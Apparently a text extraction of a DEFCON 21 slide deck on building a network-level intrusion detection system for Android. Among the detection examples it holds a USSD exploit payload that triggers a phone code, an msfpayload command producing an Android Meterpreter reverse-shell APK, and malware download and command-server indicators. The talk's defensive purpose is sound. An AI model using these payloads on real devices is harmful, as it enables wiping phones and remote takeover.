SlideShare une entreprise Scribd logo
1  sur  26
Télécharger pour lire hors ligne
BUILDING AN ANDROID IDS
ON NETWORK LEVEL
Jaime Sanchez
@segofensiva
http://www.seguridadofensiva.com
jsanchez@seguridadofensiva.com
2
$	
  WHO	
  I	
  AM	
  
§	
  Passionate	
  about	
  computer	
  security.
§	
  Computer	
  Engineering	
  degree	
  and	
  an	
  Execu7ve	
  
MBA.	
  
§	
  In	
  my	
  free	
  7me	
  I	
  conduct	
  research	
  on	
  security	
  
and	
  work	
  as	
  an	
  independent	
  consultant.
§	
  I’m	
  from	
  Spain;	
  We’re	
  sexy	
  and	
  you	
  know	
  it.
§	
  	
  Other	
  conferences:
§	
  RootedCON	
  in	
  Spain
§	
  Nuit	
  Du	
  Hack	
  in	
  Paris	
  
§	
  Black	
  Hat	
  Arsenal	
  USA
§	
  Next	
  months:	
  DerbyCON	
  and	
  Hack7vity.
BUILDING AN ANDROID IDS ON NETWORK LEVEL
DEFCON 21
3 DEFCON 21
BUILDING AN ANDROID IDS ON NETWORK LEVEL
FIRST	
  TIME	
  IN	
  LAS	
  VEGAS	
  !!
4 DEFCON 21
BUILDING AN ANDROID IDS ON NETWORK LEVEL
§	
  Being	
  popular	
  is	
  not	
  always	
  a	
  good	
  thing.
§	
  Mobile	
  malware	
  and	
  threats	
  are	
  clearly	
  on	
  the	
  rise.
§	
  Over	
  100	
  million	
  Android	
  phones	
  shipped	
  in	
  the	
  second	
  quarter	
  of	
  
2012	
  alone.
§	
  	
  Targets	
  this	
  large	
  are	
  difficult	
  for	
  aNackers	
  to	
  resist!	
  
WHY?
5 DEFCON 21
BUILDING AN ANDROID IDS ON NETWORK LEVEL
USSD	
  EXPLOIT
WEBKIT	
  VULNERABILITIES
TARGETED	
  MALWARE
!!!	
  METERPRETER	
  FOR	
  
ANDROID	
  !!!
6 DEFCON 21
BUILDING AN ANDROID IDS ON NETWORK LEVEL
§	
   In	
   order	
   to	
   analyze	
   the	
   traffic	
   flows	
   we’ll	
   create	
   a	
   VPN	
   tunnel	
  
between	
  our	
  Android	
  device	
  and	
  our	
  computer.
§	
   Configure	
   and	
   launch	
   snort	
   on	
   the	
   remote	
   machine	
   to	
   detect	
  
suspicious	
  traffic.
§	
   	
   We	
   can	
   also	
   use	
   tools	
   like	
   tcpdump	
   to	
   capture	
   traffic	
   for	
   later	
  
analysis.
FIRST	
  APPROACH
VPN
eth0:WiFi
rmnet0: 3G
snort
tcpdump
7 DEFCON 21
BUILDING AN ANDROID IDS ON NETWORK LEVEL
PROBLEMS
8 DEFCON 21
BUILDING AN ANDROID IDS ON NETWORK LEVEL
CONTINUED	
  MY	
  LIFE	
  ...
§	
  OSfooler	
  is	
  a	
  pracIcal	
  approach	
  presented	
  at	
  Black	
  Hat	
  Arsenal	
  USA	
  
2013.	
  It	
  can	
  be	
  used	
  to	
  detect	
  and	
  defeat	
  acIve	
  and	
  passive	
  remote	
  OS	
  
fingerprinIng	
  from	
  tools	
  like	
  nmap,	
  p0f	
  or	
  commercial	
  appliances.
FUCKYEAH!!
KERNEL	
  SPACE USER	
  SPACE
§	
   KERNEL	
   SPACE	
   is	
   strictly	
   reserved	
   for	
   running	
   the	
   kernel,	
   kernel	
  
extensions,	
  and	
  most	
  device	
  drivers.	
  
§	
  USER	
  SPACE	
  usually	
  refers	
  to	
  the	
  various	
  programs	
  and	
  libraries	
  that	
  
the	
   operaIng	
   system	
  uses	
  to	
  interact	
  with	
  the	
  kernel:	
  soQware	
  that	
  
performs	
  input/output,	
  manipulates	
  file	
  system,	
  objects,	
  etc.
How	
  i	
  met	
  your	
  packetFrom	
  kernel	
  Space	
  to	
  user	
  Heaven
9
FROM KERNEL SPACE TO USER HEAVEN
NUIT DU HACK 2013
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
DEFCON 21
VS
10
How Imet your
packets
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
DEFCON 21
NIC	
  Memory
DMA	
  EngineInterrupt
Incoming	
  Packet
Ring
Buffer
Interrupt
Handler
NIC
Memory
Kernel
Packet	
  Data
IP	
  Layer
TCP	
  Process
TCP	
  recv	
  Buffer
APPLICATION
DEVICE	
  DRIVER
KERNEL	
  SPACE
USER	
  SPACE
Poll	
  List
soirq
tcp_v4_rcv()
Pointer	
  to
Device
Socket
Backlog
ip_rcv()
read()
locally	
  des7ned	
  packets	
  must	
  pass	
  the	
  
INPUT	
  chains	
  to	
  reach	
  listening	
  sockets
INPUT
FORWARD
PREROUTING
MANGLECONNTRACK FILTER
forwarded	
  and	
  accepted	
  packets
Inbound	
  Packets
forwarded	
  
packets
local
packets
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
DEFCON 21
How	
  i	
  met	
  your	
  packetFrom	
  kernel	
  Space	
  to	
  user	
  Heaven
	
  
§	
  A	
  target	
  extension	
  consists	
   of	
   a	
  KERNEL	
  MODULE,	
  and	
  an	
  opIonal	
  
extension	
  to	
  iptables	
  to	
  provide	
  new	
  command	
  line	
  opIons.
§	
  There	
  are	
  several	
  extensions	
  in	
  the	
  default	
  NeVilter	
  distribuIon:
12
FROM KERNEL SPACE TO USER HEAVEN
NUIT DU HACK 2013
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
DEFCON 21
§	
  For	
  this	
  to	
  be	
  useful,	
  two	
  further	
  components	
  are	
  required:
• a	
   QUEUE	
   HANDLER	
   which	
   deals	
   with	
   the	
   actual	
   mechanics	
   of	
  
passing	
  packets	
  between	
  the	
  kernel	
  and	
  userspace
• a	
   USERSPACE	
   APPLICATION	
   to	
   receive,	
   possibly	
   manipulate,	
   and	
  
issue	
  verdicts	
  on	
  packets.
§	
  The	
  default	
  value	
  for	
  the	
  maximum	
  queue	
  length	
  is	
  1024.	
  Once	
  this	
  
limit	
  is	
   reached,	
   new	
   packets	
   will	
   be	
   dropped	
  unIl	
   the	
   length	
   of	
   the	
  
queue	
  falls	
  below	
  the	
  limit	
  again.	
  
$ iptables -A INPUT -j NFQUEUE --queue-num 0
DEFCON 21
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
14 DEFCON 21
BUILDING AN ANDROID IDS ON NETWORK LEVEL
§	
   I	
   need	
   to	
   process	
   traffic	
   before	
  
being	
  processed	
  inside	
  my	
  Android	
  
device.
§	
  I	
  can	
  redirect	
  all	
  network	
  packet	
  
from	
  Kernel	
  Space	
  to	
  User	
  Space
§	
  I	
  can	
  do	
  whatever	
  I	
  want	
  with	
  the	
  
packets:	
   analyze,	
   process,	
   modify	
  
them
§	
  This	
  is	
  done	
  in	
  Real-­‐7me.
SUMMARY
DEFCON 21
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
AndroIDS
§	
   Create	
   an	
   open	
   source	
   network-­‐based	
   intrusion	
   detecIon	
   system	
  
(IDS)	
   and	
   network-­‐based	
   intrusion	
   protecIon	
  system	
   	
   (IPS)	
   has	
   the	
  
ability	
   to	
   perform	
   real-­‐Ime	
   traffic	
   analysis	
   and	
   packet	
   logging	
   on	
  
Internet	
  Protocol	
  (IP)	
  networks:
§	
  It	
  should	
  feature:
§	
  Protocol	
  analysis
§	
  Content	
  searching
§	
  Content	
  matching
DEFCON 21
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
IDS	
  ARCHITECTURE:	
  SENSOR
§	
   Runs	
   conInuously	
   without	
   human	
  
supervision	
  and	
  feature:
§	
  Analyze	
  traffic
§	
  Send	
  push	
  alerts	
  to	
  the	
  Android	
  device	
  
in	
  order	
  to	
  warn	
  the	
  user	
  about	
  the	
  threat
§	
   Report	
   to	
   Logging	
   Server	
   Custom	
  
reacIve	
  acIons:
§	
  Drop	
  specific	
  packet
§	
  Add	
  new	
  rule	
  in	
  iptables	
  firewall
§	
  Launch	
  script	
  /	
  module
§	
   Sync	
   aaack	
   signatures	
   to	
   keep	
   them	
  
updated.
§	
  It	
  should	
  impose	
  minimal	
  overhead.
DEFCON 21
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
IDS	
  ARCHITECTURE:	
  SERVER
§	
   The	
   server	
   is	
   running	
   inside	
   a	
   Linux	
   Box,	
   and	
   is	
   receiving	
   all	
   the	
  
messages	
  the	
  Android	
  sensor	
  is	
  sending.
§	
  Server	
  is	
  responsible	
  for:
§	
  Send	
  signatures	
  to	
  remote	
  devices
§	
  Store	
  events	
  in	
  database
§	
  Detects	
  staIsIcal	
  anomalies	
  &	
  analysis	
  real-­‐Ime.
Android
Device
Internet Firewall
IDS	
  Server	
  &
Database
Web
Interface
DEFCON 21
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
PROTOCOL	
  ANALYSIS
LOOKS	
  LIKE	
  I	
  PICKED	
  THE	
  WRONG	
  WEEK
TO	
  QUIT	
  SNIFFING	
  PACKETS
DEFCON 21
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
EXAMPLE
	
  
§	
  Packet	
  with	
  FIN,	
  SYN,	
  PUSH	
  and	
  URG	
  flags	
  ac7ve.	
  
§	
  Report	
  to	
  the	
  Central	
  Logger	
  and	
  DROP	
  the	
  packet.
DEFCON 21
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
REMOTE	
  OS	
  FINGERPRINTING
§	
  Detect	
  and	
  drop	
  packet	
  sent	
  from	
  well-­‐known	
  scanning	
  tools.
§	
  nmap	
  OS	
  fingerprin7ng	
  works	
  by	
  sending	
  up	
  to	
  16	
  TCP,	
  UDP,	
  and	
  ICMP	
  probes	
  
to	
  known	
  open	
  and	
  closed	
  ports	
  of	
  the	
  target	
  machine.
SEQUENCE	
  GENERATION	
  (SEQ,	
  OPS,	
  WIN	
  &	
  T1)
ICMP	
  ECHO	
  (IE)
TCP	
  EXPLICIT	
  CONGESTION	
  NOTIFICATION	
  (ECN)
TCP	
  T2-­‐T7
UDP
DEFCON 21
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
PATTERN	
  MATCHING
I’M	
  WATCHING	
  YOU...
DEFCON 21
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
SIGNATURE	
  FORMAT
§	
  With	
  the	
  help	
  of	
  custom	
  build	
  signatures,	
  the	
  framework	
  can	
  also	
  be	
  
used	
  to	
  detect	
  probes	
  or	
  aaacks	
  designed	
  for	
  mobile	
  devices
	
  
§	
  Useful	
  signatures	
  from	
  Snort	
  and	
  Emerging	
  Threats
§	
  Convert	
  snort-­‐like	
  rules	
  to	
  a	
  friendly	
  format:
DEFCON 21
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
USSD	
  EXPLOIT
§	
  A	
  USSD	
  code	
  is	
  entered	
  into	
  phones	
  to	
  perform	
  
acIons.
§	
   They	
  are	
   mainly	
   used	
  by	
   network	
   operators	
   to	
  
provide	
   customers	
   with	
   easy	
   access	
   to	
   pre-­‐
configured	
  services,	
  including:
§	
  call-­‐forwarding
§	
  balance	
  inquiries
§	
  mulIple	
  SIM	
  funcIons.
§	
  The	
  HTML	
  code	
  to	
  execute	
  such	
  an	
  acIon	
  is	
  as	
  follows:
<a	
  href="tel:xyz">Click	
  here	
  to	
  call</a>
§	
  Example	
  exploit:
<frameset>	
  <frame	
  src="tel:*2767*3855#"	
  />	
  </	
  frameset>
DEFCON 21
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
WEB	
  SIGNATURES
DEFCON 21
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
MALWARE
§	
  ANDR.TROJAN.SMSSEND
§	
  Download	
  from:
§	
  hxxp://adobeflashplayer-­‐up.ru/?a=RANDOM_CHARACTERS	
  –	
  93.170.107.184	
  
§	
  hxxp://googleplaynew.ru/?a=RANDOM_CHARACTERS	
  –	
  93.170.107.184
§	
  hxxp://browsernew-­‐update.ru/?a=RANDOM_CHARACTERS	
  –	
  93.170.107.184
§	
  Once	
  executed,	
  connect	
  to	
  C&C:	
  	
  gaga01.net/rq.php
§oard=unknown;brand=generic;device=generic;imei=XXXXXX;imsi=XXXXXX;session_i
d=1;operator=XXX;sms0=XXXXXX;sms1=XXXXXX;sms2=XXXXXX;]me=XXXXXX;]mezo
ne=XXXXXX
§	
  Search	
  paaern:	
  rq.php
§	
  METERPRETER
§	
  	
  It	
  features	
  command	
  history,	
  tab	
  compleIon,	
  
channels,	
  and	
  more.
§	
  Let’s	
  try:
$	
  msfpayload	
  android/meterpreter/reverse_tcp	
  LHOST=192.168.0.20	
  R	
  >	
  meter.apk
$	
  file	
  meter.apk	
  
	
  	
  	
  meter.apk:	
  Zip	
  archive	
  data,	
  at	
  least	
  v2.0	
  to	
  extract
T	
  H	
  A	
  N	
  K	
  	
  	
  Y	
  O	
  U	
  !
How	
  i	
  met	
  your	
  packetBUILDING AN ANDROID IDS ON NETWORK LEVEL
DEFCON 21
Jaime	
  Sánchez
@segofensiva
jsanchez@segofensiva.com

Contenu connexe

En vedette

Mobile Android and Network
Mobile Android and NetworkMobile Android and Network
Mobile Android and NetworkPadma Sankar
 
Android Network Management
Android Network ManagementAndroid Network Management
Android Network ManagementRanjan Dhar
 
BlackHat USA 2009 - Your Mind: Legal Status, Rights and Protecting Yourself
BlackHat USA 2009 - Your Mind: Legal Status, Rights and Protecting YourselfBlackHat USA 2009 - Your Mind: Legal Status, Rights and Protecting Yourself
BlackHat USA 2009 - Your Mind: Legal Status, Rights and Protecting YourselfJames Arlen
 
HI THIS IS URGENT PLZ FIX ASAP: Critical Vunlerabilities and Bug Bounty Programs
HI THIS IS URGENT PLZ FIX ASAP: Critical Vunlerabilities and Bug Bounty ProgramsHI THIS IS URGENT PLZ FIX ASAP: Critical Vunlerabilities and Bug Bounty Programs
HI THIS IS URGENT PLZ FIX ASAP: Critical Vunlerabilities and Bug Bounty Programsbugcrowd
 
Remote Management of Embedded Android Devices
Remote Management of Embedded Android DevicesRemote Management of Embedded Android Devices
Remote Management of Embedded Android DevicesVIA Embedded
 
Network Intrusion Detection System Using Snort
Network Intrusion Detection System Using SnortNetwork Intrusion Detection System Using Snort
Network Intrusion Detection System Using SnortDisha Bedi
 
IDS,SNORT ET SÉCURITÉ RESEAU
IDS,SNORT ET SÉCURITÉ RESEAUIDS,SNORT ET SÉCURITÉ RESEAU
IDS,SNORT ET SÉCURITÉ RESEAUCHAOUACHI marwen
 
Siber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin Kullanımı
Siber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin KullanımıSiber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin Kullanımı
Siber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin KullanımıBGA Cyber Security
 
NetSecTR - "Siem / Log Korelasyon Sunumu" Huzeyfe Önal
NetSecTR - "Siem / Log Korelasyon Sunumu" Huzeyfe ÖnalNetSecTR - "Siem / Log Korelasyon Sunumu" Huzeyfe Önal
NetSecTR - "Siem / Log Korelasyon Sunumu" Huzeyfe ÖnalBGA Cyber Security
 
Mobile Application Penetration Testing
Mobile Application Penetration TestingMobile Application Penetration Testing
Mobile Application Penetration TestingBGA Cyber Security
 

En vedette (20)

Mobile Android and Network
Mobile Android and NetworkMobile Android and Network
Mobile Android and Network
 
Android Network Management
Android Network ManagementAndroid Network Management
Android Network Management
 
BlackHat USA 2009 - Your Mind: Legal Status, Rights and Protecting Yourself
BlackHat USA 2009 - Your Mind: Legal Status, Rights and Protecting YourselfBlackHat USA 2009 - Your Mind: Legal Status, Rights and Protecting Yourself
BlackHat USA 2009 - Your Mind: Legal Status, Rights and Protecting Yourself
 
HI THIS IS URGENT PLZ FIX ASAP: Critical Vunlerabilities and Bug Bounty Programs
HI THIS IS URGENT PLZ FIX ASAP: Critical Vunlerabilities and Bug Bounty ProgramsHI THIS IS URGENT PLZ FIX ASAP: Critical Vunlerabilities and Bug Bounty Programs
HI THIS IS URGENT PLZ FIX ASAP: Critical Vunlerabilities and Bug Bounty Programs
 
Allagui.Oussama.CV
Allagui.Oussama.CVAllagui.Oussama.CV
Allagui.Oussama.CV
 
Snort
SnortSnort
Snort
 
Snort
SnortSnort
Snort
 
Remote Management of Embedded Android Devices
Remote Management of Embedded Android DevicesRemote Management of Embedded Android Devices
Remote Management of Embedded Android Devices
 
Snort
SnortSnort
Snort
 
Wireshark ppt
Wireshark pptWireshark ppt
Wireshark ppt
 
Snort IPS
Snort IPSSnort IPS
Snort IPS
 
Network Intrusion Detection System Using Snort
Network Intrusion Detection System Using SnortNetwork Intrusion Detection System Using Snort
Network Intrusion Detection System Using Snort
 
Snort IDS/IPS Basics
Snort IDS/IPS BasicsSnort IDS/IPS Basics
Snort IDS/IPS Basics
 
IDS,SNORT ET SÉCURITÉ RESEAU
IDS,SNORT ET SÉCURITÉ RESEAUIDS,SNORT ET SÉCURITÉ RESEAU
IDS,SNORT ET SÉCURITÉ RESEAU
 
Wireshark
WiresharkWireshark
Wireshark
 
BTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Android Uygulamalara Malware Yerleştirme SunumuBTRisk Android Uygulamalara Malware Yerleştirme Sunumu
BTRisk Android Uygulamalara Malware Yerleştirme Sunumu
 
BTRisk Android Mobil Uygulama Denetimi Eğitimi
BTRisk Android Mobil Uygulama Denetimi EğitimiBTRisk Android Mobil Uygulama Denetimi Eğitimi
BTRisk Android Mobil Uygulama Denetimi Eğitimi
 
Siber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin Kullanımı
Siber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin KullanımıSiber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin Kullanımı
Siber Tehdit Gözetleme ve SIEM Olarak Açık Kaynak Sistemlerin Kullanımı
 
NetSecTR - "Siem / Log Korelasyon Sunumu" Huzeyfe Önal
NetSecTR - "Siem / Log Korelasyon Sunumu" Huzeyfe ÖnalNetSecTR - "Siem / Log Korelasyon Sunumu" Huzeyfe Önal
NetSecTR - "Siem / Log Korelasyon Sunumu" Huzeyfe Önal
 
Mobile Application Penetration Testing
Mobile Application Penetration TestingMobile Application Penetration Testing
Mobile Application Penetration Testing
 

Plus de Jaime Sánchez

La problemática de la identificación de los participantes en las plataformas ...
La problemática de la identificación de los participantes en las plataformas ...La problemática de la identificación de los participantes en las plataformas ...
La problemática de la identificación de los participantes en las plataformas ...Jaime Sánchez
 
Derevolutionizing OS Fingerprinting: The cat and mouse game
Derevolutionizing OS Fingerprinting: The cat and mouse gameDerevolutionizing OS Fingerprinting: The cat and mouse game
Derevolutionizing OS Fingerprinting: The cat and mouse gameJaime Sánchez
 
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)Jaime Sánchez
 
(In)Seguridad y Ataques de Mensajería Instantánea en Entornos Corporativos - ...
(In)Seguridad y Ataques de Mensajería Instantánea en Entornos Corporativos - ...(In)Seguridad y Ataques de Mensajería Instantánea en Entornos Corporativos - ...
(In)Seguridad y Ataques de Mensajería Instantánea en Entornos Corporativos - ...Jaime Sánchez
 
Defeating WhatsApp’s Lack of Encryption - BH Sao Paulo 2013
Defeating WhatsApp’s Lack of Encryption - BH Sao Paulo 2013Defeating WhatsApp’s Lack of Encryption - BH Sao Paulo 2013
Defeating WhatsApp’s Lack of Encryption - BH Sao Paulo 2013Jaime Sánchez
 
Seguridad con la Pila TCP/IP
Seguridad con la Pila TCP/IPSeguridad con la Pila TCP/IP
Seguridad con la Pila TCP/IPJaime Sánchez
 

Plus de Jaime Sánchez (6)

La problemática de la identificación de los participantes en las plataformas ...
La problemática de la identificación de los participantes en las plataformas ...La problemática de la identificación de los participantes en las plataformas ...
La problemática de la identificación de los participantes en las plataformas ...
 
Derevolutionizing OS Fingerprinting: The cat and mouse game
Derevolutionizing OS Fingerprinting: The cat and mouse gameDerevolutionizing OS Fingerprinting: The cat and mouse game
Derevolutionizing OS Fingerprinting: The cat and mouse game
 
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
I Know Your P4$$w0rd (And If I Don't, I Will Guess It...)
 
(In)Seguridad y Ataques de Mensajería Instantánea en Entornos Corporativos - ...
(In)Seguridad y Ataques de Mensajería Instantánea en Entornos Corporativos - ...(In)Seguridad y Ataques de Mensajería Instantánea en Entornos Corporativos - ...
(In)Seguridad y Ataques de Mensajería Instantánea en Entornos Corporativos - ...
 
Defeating WhatsApp’s Lack of Encryption - BH Sao Paulo 2013
Defeating WhatsApp’s Lack of Encryption - BH Sao Paulo 2013Defeating WhatsApp’s Lack of Encryption - BH Sao Paulo 2013
Defeating WhatsApp’s Lack of Encryption - BH Sao Paulo 2013
 
Seguridad con la Pila TCP/IP
Seguridad con la Pila TCP/IPSeguridad con la Pila TCP/IP
Seguridad con la Pila TCP/IP
 

Dernier

What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupFlorian Wilhelm
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr BaganFwdays
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebUiPathCommunity
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionDilum Bandara
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024Lorenzo Miniero
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity PlanDatabarracks
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxLoriGlavin3
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxLoriGlavin3
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxLoriGlavin3
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii SoldatenkoFwdays
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsRizwan Syed
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfPrecisely
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsSergiu Bodiu
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxThe Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptxLoriGlavin3
 

Dernier (20)

What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
Streamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project SetupStreamlining Python Development: A Guide to a Modern Project Setup
Streamlining Python Development: A Guide to a Modern Project Setup
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
Advanced Computer Architecture – An Introduction
Advanced Computer Architecture – An IntroductionAdvanced Computer Architecture – An Introduction
Advanced Computer Architecture – An Introduction
 
SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024SIP trunking in Janus @ Kamailio World 2024
SIP trunking in Janus @ Kamailio World 2024
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptxUse of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
Use of FIDO in the Payments and Identity Landscape: FIDO Paris Seminar.pptx
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
 
"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko"Debugging python applications inside k8s environment", Andrii Soldatenko
"Debugging python applications inside k8s environment", Andrii Soldatenko
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
 
DevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platformsDevEX - reference for building teams, processes, and platforms
DevEX - reference for building teams, processes, and platforms
 
The Fit for Passkeys for Employee and Consumer Sign-ins: FIDO Paris Seminar.pptx
